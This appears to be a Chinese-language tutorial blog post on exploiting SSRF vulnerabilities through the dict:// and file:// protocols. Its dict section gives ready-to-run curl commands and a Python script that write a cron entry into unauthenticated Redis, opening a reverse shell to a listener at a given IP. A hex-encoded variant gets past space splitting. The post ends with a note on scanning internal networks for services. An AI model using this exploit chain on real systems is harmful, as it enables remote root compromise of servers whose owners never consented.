清明时节雨纷纷,路上行人欲断魂。
1、dict协议
定义:词典网络协议,在RFC 2009中进行描述。他的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。
dict协议在SSRF漏洞中的使用
gopher协议的使用需要满足的条件:
协议 | 支持情况 |
---|---|
PHP | –wite-curlwrappers且php版本至少为5.3 |
Java | 小于JDK1.7 |
Curl | 低版本不支持 |
Perl | 支持 |
ASP.NET | 小于版本3 |
gopher协议虽然好用,但是满足的条件也不少。当gopher协议无法使用时,就可以考虑dict协议。
dict协议功能:
1、探测内网主机
2、探测端口的开放情况和指纹信息
3、执行命令
使用方式:
1、dict://serverip:port/命令:参数
2、向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF),为漏洞利用增加了便利
3、dict协议执行命令要一条一条执行
使用条件:
必须是redis未设密码的情况下才可利用dict执行命令,否则即便知道密码也无法进行其他操作。因为在每一次发送命令的同时都需要进行身份认证,即第一次发送auth qianxun通过认证,第二次发送get name时还是提示要密码认证,说明redis是无记忆的。而dict只能一次执行一条命令,所以无法操作。
小实验
尝试使用dict协议执行redis命令:
(curl_exec.php为windows上搭建的具有ssrf漏洞的页面)
如图所示,执行成功!
dict协议反弹shell
反弹shell的命令步骤:
curl dict://222.24.28.44:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n"
curl dict://222.24.28.44:6379/config:set:dir:/etc/
curl dict://222.24.28.44:6379/config:set:dbfilename:crontab
curl dict://222.24.28.44:6379/bgsave
由于使用dict协议,命令需要一条一条的发送,所以我们先发送第一条设置字符串:
回到主机,查看redis日志:
如图所示,字符串中的字符依照空格被截成了若干短字符串,这样redis就无法实现了。
为了规避掉空格,我们需要对命令进行十六进制编码。
这样就避免了空格被分割:
curl dict://222.24.28.100:6379/set:mars:\"\x0a\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x72\x6f\x6f\x74\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x2e\x31\x31\x39\x2f\x39\x39\x39\x39\x20\x30\x3e\x26\x31\x0a\"
我们再发送一次:
ok!
先在kali开启一个监听端口:
然后再依次执行下面的命令:
回到kali,成功反弹shell!
为了方便复现,编写一个python脚本:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
import binascii
from urllib.parse import quote
url = "http://222.24.28.207/ssrf/curl_exec.php?url="
target = "dict://222.24.28.100:6379/"
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/222.24.28.44/9999 0>&1\\n\\\\"',
"config:set:dir:/etc/",
"config:set:dbfilename:crontab",
"bgsave"]
for cmd in cmds: #将命令逐条发送
cmd_encoder = ""
for single_char in cmd:
# 先转为ASCII
cmd_encoder += hex(ord(single_char)).replace("0x","") #将命令转换为十六进制
cmd_encoder = binascii.a2b_hex(cmd_encoder) #再转换成二进制
print(cmd_encoder)
cmd_encoder = quote(cmd_encoder,'utf-8') #对转换成的二进制再url编码
payload = url + target + cmd_encoder
print(payload)
request = urllib.request.Request(payload)
response = urllib.request.urlopen(request).read()
先在kali上开启一个监听端口:
运行脚本程序:
切换到centos查看/etc/crontab,发现命令已成功写入:
回到kali,成功反弹shell:
2、file协议
file协议主要用于访问本地计算机中的文件,命令格式为:
file://文件绝对路径
例如:
file协议和http协议有什么区别呢?
- file协议主要用于读取服务器本地文件,访问的是本地的静态资源
- http是访问本地的html文件,相当于把本机当作http服务器,通过http访问服务器,服务器再去访问本地资源。简单来说file只能静态读取,http可以动态解析
- http服务器可以开放端口,让他人通过http访问服务器资源,但file不可以
- file对应的类似http的协议是ftp协议(文件传输协议)
- file不能跨域
后记
但很多时候我们利用ssrf漏洞去攻击内网服务器的时候,并不知道内网中有什么样的应用、IP地址是多少、开放了什么端口、端口对应的服务是什么。所以需要先对内网做IP+端口的扫描,如果开放的服务是redis才能使用上文讲到的利用方法,对于不同的应用有不同的扫描方法,例如,redis的扫描可以请求以下内容来根据回显内容进行判断是否为redis,其他的服务也是同样道理,只要知道服务的指纹,然后与自己的指纹库进行比对即可: